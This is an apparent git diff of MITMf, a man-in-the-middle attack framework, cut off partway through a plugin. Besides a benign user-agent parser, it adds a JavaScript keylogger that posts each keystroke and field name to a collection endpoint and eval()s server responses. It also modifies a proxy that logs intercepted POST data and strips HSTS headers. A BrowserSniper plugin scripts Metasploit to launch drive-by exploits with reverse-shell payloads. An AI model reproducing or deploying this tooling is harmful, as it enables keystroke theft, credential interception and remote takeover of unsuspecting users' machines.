||||||
|
look_for = "archive.org_bot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class YoudaoBot(Browser):
|
||||||
|
look_for = "YoudaoBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class YoudaoBotImage(Browser):
|
||||||
|
look_for = "YodaoBot-Image"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class RogerBot(Browser):
|
||||||
|
look_for = "rogerbot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class TweetmemeBot(Browser):
|
||||||
|
look_for = "TweetmemeBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class WebshotBot(Browser):
|
||||||
|
look_for = "WebshotBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class SensikaBot(Browser):
|
||||||
|
look_for = "SensikaBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class YesupBot(Browser):
|
||||||
|
look_for = "YesupBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class DotBot(Browser):
|
||||||
|
look_for = "DotBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class PhantomJS(Browser):
|
||||||
|
look_for = "Browser/Phantom"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class FacebookExternalHit(Browser):
|
||||||
|
look_for = 'facebookexternalhit'
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
|
||||||
|
class NokiaOvi(Browser):
|
||||||
|
look_for = "S40OviBrowser"
|
||||||
|
|
||||||
|
class UCBrowser(Browser):
|
||||||
|
look_for = "UCBrowser"
|
||||||
|
|
||||||
|
class BrowserNG(Browser):
|
||||||
|
look_for = "BrowserNG"
|
||||||
|
|
||||||
|
class Dolfin(Browser):
|
||||||
|
look_for = 'Dolfin'
|
||||||
|
|
||||||
|
class NetFront(Browser):
|
||||||
|
look_for = 'NetFront'
|
||||||
|
|
||||||
|
class Jasmine(Browser):
|
||||||
|
look_for = 'Jasmine'
|
||||||
|
|
||||||
|
class Openwave(Browser):
|
||||||
|
look_for = 'Openwave'
|
||||||
|
|
||||||
|
class UPBrowser(Browser):
|
||||||
|
look_for = 'UP.Browser'
|
||||||
|
|
||||||
|
class OneBrowser(Browser):
|
||||||
|
look_for = 'OneBrowser'
|
||||||
|
|
||||||
|
class ObigoInternetBrowser(Browser):
|
||||||
|
look_for = 'ObigoInternetBrowser'
|
||||||
|
|
||||||
|
class TelecaBrowser(Browser):
|
||||||
|
look_for = 'TelecaBrowser'
|
||||||
|
|
||||||
|
class MAUI(Browser):
|
||||||
|
look_for = 'Browser/MAUI'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
version = agent.split("Release/")[-1][:10]
|
||||||
|
return version
|
||||||
|
|
||||||
|
|
||||||
|
class NintendoBrowser(Browser):
|
||||||
|
look_for = 'NintendoBrowser'
|
||||||
|
|
||||||
|
|
||||||
|
class AndroidBrowser(Browser):
|
||||||
|
look_for = "Android"
|
||||||
|
skip_if_found = ['Chrome', 'Windows Phone']
|
||||||
|
|
||||||
|
# http://decadecity.net/blog/2013/11/21/android-browser-versions
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Linux(OS):
|
||||||
|
look_for = 'Linux'
|
||||||
|
platform = 'Linux'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Blackberry(OS):
|
||||||
|
look_for = 'BlackBerry'
|
||||||
|
platform = 'BlackBerry'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class BlackberryPlaybook(Dist):
|
||||||
|
look_for = 'PlayBook'
|
||||||
|
platform = 'BlackBerry'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsPhone(OS):
|
||||||
|
name = "Windows Phone"
|
||||||
|
platform = 'Windows'
|
||||||
|
look_for = ["Windows Phone OS", "Windows Phone"]
|
||||||
|
version_markers = [(" ", ";"), (" ", ")")]
|
||||||
|
|
||||||
|
|
||||||
|
class iOS(OS):
|
||||||
|
look_for = ('iPhone', 'iPad')
|
||||||
|
skip_if_found = ['like iPhone']
|
||||||
|
|
||||||
|
|
||||||
|
class iPhone(Dist):
|
||||||
|
look_for = 'iPhone'
|
||||||
|
platform = 'iOS'
|
||||||
|
skip_if_found = ['like iPhone']
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
version_end_chars = [' ']
|
||||||
|
if not "iPhone OS" in agent:
|
||||||
|
return None
|
||||||
|
part = agent.split('iPhone OS')[-1].strip()
|
||||||
|
for c in version_end_chars:
|
||||||
|
if c in part:
|
||||||
|
version = part.split(c)[0]
|
||||||
|
return version.replace('_', '.')
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
class IPad(Dist):
|
||||||
|
look_for = 'iPad;'
|
||||||
|
platform = 'iOS'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
version_end_chars = [' ']
|
||||||
|
if not "CPU OS " in agent:
|
||||||
|
return None
|
||||||
|
part = agent.split('CPU OS ')[-1].strip()
|
||||||
|
for c in version_end_chars:
|
||||||
|
if c in part:
|
||||||
|
version = part.split(c)[0]
|
||||||
|
return version.replace('_', '.')
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
class Macintosh(OS):
|
||||||
|
look_for = 'Macintosh'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class MacOS(Flavor):
|
||||||
|
look_for = 'Mac OS'
|
||||||
|
platform = 'Mac OS'
|
||||||
|
skip_if_found = ['iPhone', 'iPad']
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
version_end_chars = [';', ')']
|
||||||
|
part = agent.split('Mac OS')[-1].strip()
|
||||||
|
for c in version_end_chars:
|
||||||
|
if c in part:
|
||||||
|
version = part.split(c)[0]
|
||||||
|
return version.replace('_', '.')
|
||||||
|
return ''
|
||||||
|
|
||||||
|
|
||||||
|
class Windows(Dist):
|
||||||
|
look_for = 'Windows'
|
||||||
|
platform = 'Windows'
|
||||||
|
|
||||||
|
|
||||||
|
class Windows(OS):
|
||||||
|
look_for = 'Windows'
|
||||||
|
platform = 'Windows'
|
||||||
|
skip_if_found = ["Windows Phone"]
|
||||||
|
win_versions = {
|
||||||
|
"NT 6.3": "8.1",
|
||||||
|
"NT 6.2": "8",
|
||||||
|
"NT 6.1": "7",
|
||||||
|
"NT 6.0": "Vista",
|
||||||
|
"NT 5.2": "Server 2003 / XP x64",
|
||||||
|
"NT 5.1": "XP",
|
||||||
|
"NT 5.01": "2000 SP1",
|
||||||
|
"NT 5.0": "2000",
|
||||||
|
"98; Win 9x 4.90": "Me"
|
||||||
|
}
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
v = agent.split('Windows')[-1].split(';')[0].strip()
|
||||||
|
if ')' in v:
|
||||||
|
v = v.split(')')[0]
|
||||||
|
v = self.win_versions.get(v, v)
|
||||||
|
return v
|
||||||
|
|
||||||
|
|
||||||
|
class Ubuntu(Dist):
|
||||||
|
look_for = 'Ubuntu'
|
||||||
|
version_markers = ["/", " "]
|
||||||
|
|
||||||
|
|
||||||
|
class Debian(Dist):
|
||||||
|
look_for = 'Debian'
|
||||||
|
version_markers = ["/", " "]
|
||||||
|
|
||||||
|
|
||||||
|
class Chrome(Browser):
|
||||||
|
look_for = "Chrome"
|
||||||
|
version_markers = ["/", " "]
|
||||||
|
skip_if_found = ["OPR"]
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
part = agent.split(word + self.version_markers[0])[-1]
|
||||||
|
version = part.split(self.version_markers[1])[0]
|
||||||
|
if '+' in version:
|
||||||
|
version = part.split('+')[0]
|
||||||
|
return version.strip()
|
||||||
|
|
||||||
|
|
||||||
|
class ChromeiOS(Browser):
|
||||||
|
look_for = "CriOS"
|
||||||
|
version_markers = ["/", " "]
|
||||||
|
|
||||||
|
|
||||||
|
class ChromeOS(OS):
|
||||||
|
look_for = "CrOS"
|
||||||
|
platform = ' ChromeOS'
|
||||||
|
version_markers = [" ", " "]
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
version_markers = self.version_markers
|
||||||
|
if word + '+' in agent:
|
||||||
|
version_markers = ['+', '+']
|
||||||
|
return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1]
|
||||||
|
|
||||||
|
|
||||||
|
class Android(Dist):
|
||||||
|
look_for = 'Android'
|
||||||
|
platform = 'Android'
|
||||||
|
skip_if_found = ['Windows Phone']
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
return agent.split(word)[-1].split(';')[0].strip()
|
||||||
|
|
||||||
|
|
||||||
|
class WebOS(Dist):
|
||||||
|
look_for = 'hpwOS'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
return agent.split('hpwOS/')[-1].split(';')[0].strip()
|
||||||
|
|
||||||
|
|
||||||
|
class NokiaS40(OS):
|
||||||
|
look_for = 'Series40'
|
||||||
|
platform = 'Nokia S40'
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Symbian(OS):
|
||||||
|
look_for = ['Symbian', 'SymbianOS']
|
||||||
|
platform = 'Symbian'
|
||||||
|
|
||||||
|
|
||||||
|
class PlayStation(OS):
|
||||||
|
look_for = ['PlayStation', 'PLAYSTATION']
|
||||||
|
platform = 'PlayStation'
|
||||||
|
version_markers = [" ", ")"]
|
||||||
|
|
||||||
|
|
||||||
|
class prefs: # experimental
|
||||||
|
os = dict(
|
||||||
|
Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])),
|
||||||
|
BlackBerry=dict(dist=[BlackberryPlaybook]),
|
||||||
|
Macintosh=dict(flavor=[MacOS]),
|
||||||
|
Windows=dict(browser=[MSIE, Firefox]),
|
||||||
|
ChromeOS=dict(browser=[Chrome]),
|
||||||
|
Debian=dict(browser=[Firefox])
|
||||||
|
)
|
||||||
|
dist = dict(
|
||||||
|
Ubuntu=dict(browser=[Firefox]),
|
||||||
|
Android=dict(browser=[Safari]),
|
||||||
|
IPhone=dict(browser=[Safari]),
|
||||||
|
IPad=dict(browser=[Safari]),
|
||||||
|
)
|
||||||
|
flavor = dict(
|
||||||
|
MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE])
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
detectorshub = DetectorsHub()
|
||||||
|
|
||||||
|
|
||||||
|
def detect(agent, fill_none=False):
|
||||||
|
"""
|
||||||
|
fill_none: if name/version is not detected respective key is still added to the result with value None
|
||||||
|
"""
|
||||||
|
result = dict(platform=dict(name=None, version=None))
|
||||||
|
_suggested_detectors = []
|
||||||
|
|
||||||
|
for info_type in detectorshub:
|
||||||
|
detectors = _suggested_detectors or detectorshub[info_type]
|
||||||
|
for detector in detectors:
|
||||||
|
try:
|
||||||
|
detector.detect(agent, result)
|
||||||
|
except Exception as _err:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if fill_none:
|
||||||
|
attrs_d = {'name': None, 'version': None}
|
||||||
|
for key in ('os', 'browser'):
|
||||||
|
if key not in result:
|
||||||
|
result[key] = attrs_d
|
||||||
|
else:
|
||||||
|
for k, v in attrs_d.items():
|
||||||
|
result[k] = v
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def simple_detect(agent):
|
||||||
|
"""
|
||||||
|
-> (os, browser) # tuple of strings
|
||||||
|
"""
|
||||||
|
result = detect(agent)
|
||||||
|
os_list = []
|
||||||
|
if 'flavor' in result:
|
||||||
|
os_list.append(result['flavor']['name'])
|
||||||
|
if 'dist' in result:
|
||||||
|
os_list.append(result['dist']['name'])
|
||||||
|
if 'os' in result:
|
||||||
|
os_list.append(result['os']['name'])
|
||||||
|
|
||||||
|
os = os_list and " ".join(os_list) or "Unknown OS"
|
||||||
|
os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \
|
||||||
|
(result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or ""
|
||||||
|
browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser'
|
||||||
|
browser_version = 'browser' in result and result['browser'].get('version') or ""
|
||||||
|
if browser_version:
|
||||||
|
browser = " ".join((browser, browser_version))
|
||||||
|
if os_version:
|
||||||
|
os = " ".join((os, os_version))
|
||||||
|
return os, browser
|
117
core/javascript/msfkeylogger.js
Normal file
117
core/javascript/msfkeylogger.js
Normal file
|
@ -0,0 +1,117 @@
|
||||||
|
window.onload = function (){
|
||||||
|
var2 = ",";
|
||||||
|
name = '';
|
||||||
|
function make_xhr(){
|
||||||
|
var xhr;
|
||||||
|
try {
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
} catch(e) {
|
||||||
|
try {
|
||||||
|
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||||
|
} catch(e) {
|
||||||
|
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!xhr) {
|
||||||
|
throw "failed to create XMLHttpRequest";
|
||||||
|
}
|
||||||
|
return xhr;
|
||||||
|
}
|
||||||
|
|
||||||
|
xhr = make_xhr();
|
||||||
|
xhr.onreadystatechange = function() {
|
||||||
|
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||||
|
eval(xhr.responseText);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (window.addEventListener){
|
||||||
|
//console.log("first");
|
||||||
|
document.addEventListener('keypress', function2, true);
|
||||||
|
document.addEventListener('keydown', function1, true);
|
||||||
|
}
|
||||||
|
else if (window.attachEvent){
|
||||||
|
//console.log("second");
|
||||||
|
document.attachEvent('onkeypress', function2);
|
||||||
|
document.attachEvent('onkeydown', function1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
//console.log("third");
|
||||||
|
document.onkeypress = function2;
|
||||||
|
document.onkeydown = function1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function function2(e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
srcname = window.event.srcElement.name;
|
||||||
|
}catch(error)
|
||||||
|
{
|
||||||
|
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||||
|
if (srcname == "")
|
||||||
|
{
|
||||||
|
srcname = e.target.name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var3 = (e) ? e.keyCode : e.which;
|
||||||
|
if (var3 == 0)
|
||||||
|
{
|
||||||
|
var3 = e.charCode
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||||
|
{
|
||||||
|
andxhr(var3.toString(16), srcname);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function function1(e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
srcname = window.event.srcElement.name;
|
||||||
|
}catch(error)
|
||||||
|
{
|
||||||
|
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||||
|
if (srcname == "")
|
||||||
|
{
|
||||||
|
srcname = e.target.name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var3 = (e) ? e.keyCode : e.which;
|
||||||
|
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||||
|
{
|
||||||
|
andxhr(var3.toString(16), srcname);
|
||||||
|
}
|
||||||
|
else if (var3 == 0)
|
||||||
|
{
|
||||||
|
|
||||||
|
text = document.getElementById(id).value;
|
||||||
|
if (text.length != 0)
|
||||||
|
{
|
||||||
|
andxhr(text.toString(16), srcname);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
function andxhr(key, inputName)
|
||||||
|
{
|
||||||
|
if (inputName != name)
|
||||||
|
{
|
||||||
|
name = inputName;
|
||||||
|
var2 = ",";
|
||||||
|
}
|
||||||
|
var2= var2 + key + ",";
|
||||||
|
xhr.open("POST", "keylog", true);
|
||||||
|
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||||
|
xhr.send(var2 + '&&' + inputName);
|
||||||
|
|
||||||
|
if (key == 13 || var2.length > 3000)
|
||||||
|
{
|
||||||
|
var2 = ",";
|
||||||
|
}
|
||||||
|
}
|
76
core/javascript/plugindetect.js
Normal file
76
core/javascript/plugindetect.js
Normal file
File diff suppressed because one or more lines are too long
2878
core/javascript/screenshot.js
Normal file
2878
core/javascript/screenshot.js
Normal file
File diff suppressed because it is too large
Load diff
|
@ -24,8 +24,8 @@ import zlib
|
||||||
import gzip
|
import gzip
|
||||||
import StringIO
|
import StringIO
|
||||||
import sys
|
import sys
|
||||||
|
import core.httpagentparser as hap
|
||||||
|
|
||||||
from user_agents import parse
|
|
||||||
from twisted.web.http import HTTPClient
|
from twisted.web.http import HTTPClient
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
@ -72,13 +72,12 @@ class ServerConnection(HTTPClient):
|
||||||
def sendRequest(self):
|
def sendRequest(self):
|
||||||
if self.command == 'GET':
|
if self.command == 'GET':
|
||||||
try:
|
try:
|
||||||
user_agent = parse(self.headers['user-agent'])
|
mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host']))
|
||||||
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
|
mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
|
||||||
self.clientInfo = "{} ".format(self.client.getClientIP())
|
mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host']))
|
||||||
|
pass
|
||||||
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
|
|
||||||
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||||
|
|
||||||
self.sendCommand(self.command, self.uri)
|
self.sendCommand(self.command, self.uri)
|
||||||
|
@ -96,15 +95,17 @@ class ServerConnection(HTTPClient):
|
||||||
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
||||||
if len(postdata) > 0:
|
if len(postdata) > 0:
|
||||||
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
|
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
|
||||||
except UnicodeDecodeError and UnicodeEncodeError:
|
except Exception as e:
|
||||||
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
|
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
|
||||||
pass
|
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
|
||||||
|
pass
|
||||||
|
|
||||||
self.printPostData = True
|
self.printPostData = True
|
||||||
self.transport.write(self.postData)
|
self.transport.write(self.postData)
|
||||||
|
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||||
|
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
self.sendRequest()
|
self.sendRequest()
|
||||||
self.sendHeaders()
|
self.sendHeaders()
|
||||||
|
@ -133,7 +134,7 @@ class ServerConnection(HTTPClient):
|
||||||
self.isCompressed = True
|
self.isCompressed = True
|
||||||
|
|
||||||
elif (key.lower()== 'strict-transport-security'):
|
elif (key.lower()== 'strict-transport-security'):
|
||||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
|
mitmf_logger.info("{} [type:{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0]))
|
||||||
|
|
||||||
elif (key.lower() == 'content-length'):
|
elif (key.lower() == 'content-length'):
|
||||||
self.contentLength = value
|
self.contentLength = value
|
||||||
|
@ -220,13 +221,6 @@ class ServerConnection(HTTPClient):
|
||||||
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
||||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||||
|
|
||||||
#mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
|
|
||||||
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
|
|
||||||
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
|
|
||||||
#if data.find("http://w.face")!=-1:
|
|
||||||
# mitmf_logger.debug("HSTS DEBUG Found error in modifications")
|
|
||||||
# raw_input("Press Enter to continue")
|
|
||||||
#return re.sub(ServerConnection.urlType, 'http://web.', data)
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
17
mitmf.py
17
mitmf.py
|
@ -131,16 +131,15 @@ for p in plugins:
|
||||||
if vars(args)[p.optname] is True:
|
if vars(args)[p.optname] is True:
|
||||||
|
|
||||||
print "|_ {} v{}".format(p.name, p.version)
|
print "|_ {} v{}".format(p.name, p.version)
|
||||||
if hasattr(p, 'tree_output') and p.tree_output:
|
if p.tree_info:
|
||||||
for line in p.tree_output:
|
for line in p.tree_info:
|
||||||
print "| |_ {}".format(line)
|
print "| |_ {}".format(p.tree_info.pop())
|
||||||
p.tree_output.remove(line)
|
|
||||||
|
|
||||||
p.initialize(args)
|
p.initialize(args)
|
||||||
|
|
||||||
if hasattr(p, 'tree_output') and p.tree_output:
|
if p.tree_info:
|
||||||
for line in p.tree_output:
|
for line in p.tree_info:
|
||||||
print "| |_ {}".format(line)
|
print "| |_ {}".format(p.tree_info.pop())
|
||||||
|
|
||||||
load.append(p)
|
load.append(p)
|
||||||
|
|
||||||
|
@ -153,8 +152,8 @@ URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
||||||
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
||||||
ProxyPlugins.getInstance().setPlugins(load)
|
ProxyPlugins.getInstance().setPlugins(load)
|
||||||
|
|
||||||
strippingFactory = http.HTTPFactory(timeout=10)
|
strippingFactory = http.HTTPFactory(timeout=10)
|
||||||
strippingFactory.protocol = StrippingProxy
|
strippingFactory.protocol = StrippingProxy
|
||||||
|
|
||||||
reactor.listenTCP(args.listen, strippingFactory)
|
reactor.listenTCP(args.listen, strippingFactory)
|
||||||
|
|
||||||
|
|
|
@ -27,17 +27,15 @@ from core.beefapi import BeefAPI
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class BeefAutorun(Plugin):
|
class BeefAutorun(Inject, Plugin):
|
||||||
name = "BeEFAutorun"
|
name = "BeEFAutorun"
|
||||||
optname = "beefauto"
|
optname = "beefauto"
|
||||||
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
||||||
tree_output = []
|
version = "0.3"
|
||||||
version = "0.3"
|
has_opts = False
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
File diff suppressed because one or more lines are too long
222
plugins/BrowserSniper.py
Normal file
222
plugins/BrowserSniper.py
Normal file
|
@ -0,0 +1,222 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from time import sleep
|
||||||
|
from core.msfrpc import Msfrpc
|
||||||
|
from core.utils import SystemConfig
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from plugins.BrowserProfiler import BrowserProfiler
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
|
class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
|
name = "BrowserSniper"
|
||||||
|
optname = "browsersniper"
|
||||||
|
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||||
|
version = "0.4"
|
||||||
|
has_opts = False
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
self.options = options
|
||||||
|
self.msfip = SystemConfig.getIP(options.interface)
|
||||||
|
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||||
|
|
||||||
|
msfcfg = self.config['MITMf']['Metasploit']
|
||||||
|
self.rpcip = msfcfg['rpcip']
|
||||||
|
self.rpcpass = msfcfg['rpcpass']
|
||||||
|
|
||||||
|
#Initialize the BrowserProfiler plugin
|
||||||
|
BrowserProfiler.initialize(self, options)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||||
|
self.msf.login('msf', self.rpcpass)
|
||||||
|
version = self.msf.call('core.version')['version']
|
||||||
|
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||||
|
except Exception:
|
||||||
|
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
||||||
|
|
||||||
|
def startThread(self, options):
|
||||||
|
self.snipe()
|
||||||
|
|
||||||
|
def onConfigChange(self):
|
||||||
|
self.initialize(self.options)
|
||||||
|
|
||||||
|
def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||||
|
return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
|
||||||
|
|
||||||
|
def _getRandPort(self):
|
||||||
|
return random.randint(1000, 65535)
|
||||||
|
|
||||||
|
def _setupExploit(self, exploit, msfport):
|
||||||
|
|
||||||
|
rand_url = self._genRandURL()
|
||||||
|
rand_port = self._getRandPort()
|
||||||
|
#generate the command string to send to the virtual console
|
||||||
|
#new line character very important as it simulates a user pressing enter
|
||||||
|
cmd = "use exploit/{}\n".format(exploit)
|
||||||
|
cmd += "set SRVPORT {}\n".format(msfport)
|
||||||
|
cmd += "set URIPATH {}\n".format(rand_url)
|
||||||
|
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
||||||
|
cmd += "set LHOST {}\n".format(self.msfip)
|
||||||
|
cmd += "set LPORT {}\n".format(rand_port)
|
||||||
|
cmd += "set ExitOnSession False\n"
|
||||||
|
cmd += "exploit -j\n"
|
||||||
|
|
||||||
|
#Create a virtual console
|
||||||
|
console_id = self.msf.call('console.create')['id']
|
||||||
|
|
||||||
|
#write the cmd to the newly created console
|
||||||
|
self.msf.call('console.write', [console_id, cmd])
|
||||||
|
|
||||||
|
return (rand_url, rand_port)
|
||||||
|
|
||||||
|
def _compat_system(self, os_config, brw_config):
|
||||||
|
os = self.output['useragent'][0].lower()
|
||||||
|
browser = self.output['useragent'][1].lower()
|
||||||
|
|
||||||
|
if (os_config == 'any') and (brw_config == 'any'):
|
||||||
|
return True
|
||||||
|
|
||||||
|
if (os_config == 'any') and (brw_config in browser):
|
||||||
|
return True
|
||||||
|
|
||||||
|
if (os_config in os) and (brw_config == 'any'):
|
||||||
|
return True
|
||||||
|
|
||||||
|
if (os_config in os) and (brw_config in browser):
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def getExploits(self):
|
||||||
|
exploits = list()
|
||||||
|
vic_ip = self.output['ip']
|
||||||
|
|
||||||
|
#First get the client's info
|
||||||
|
java = None
|
||||||
|
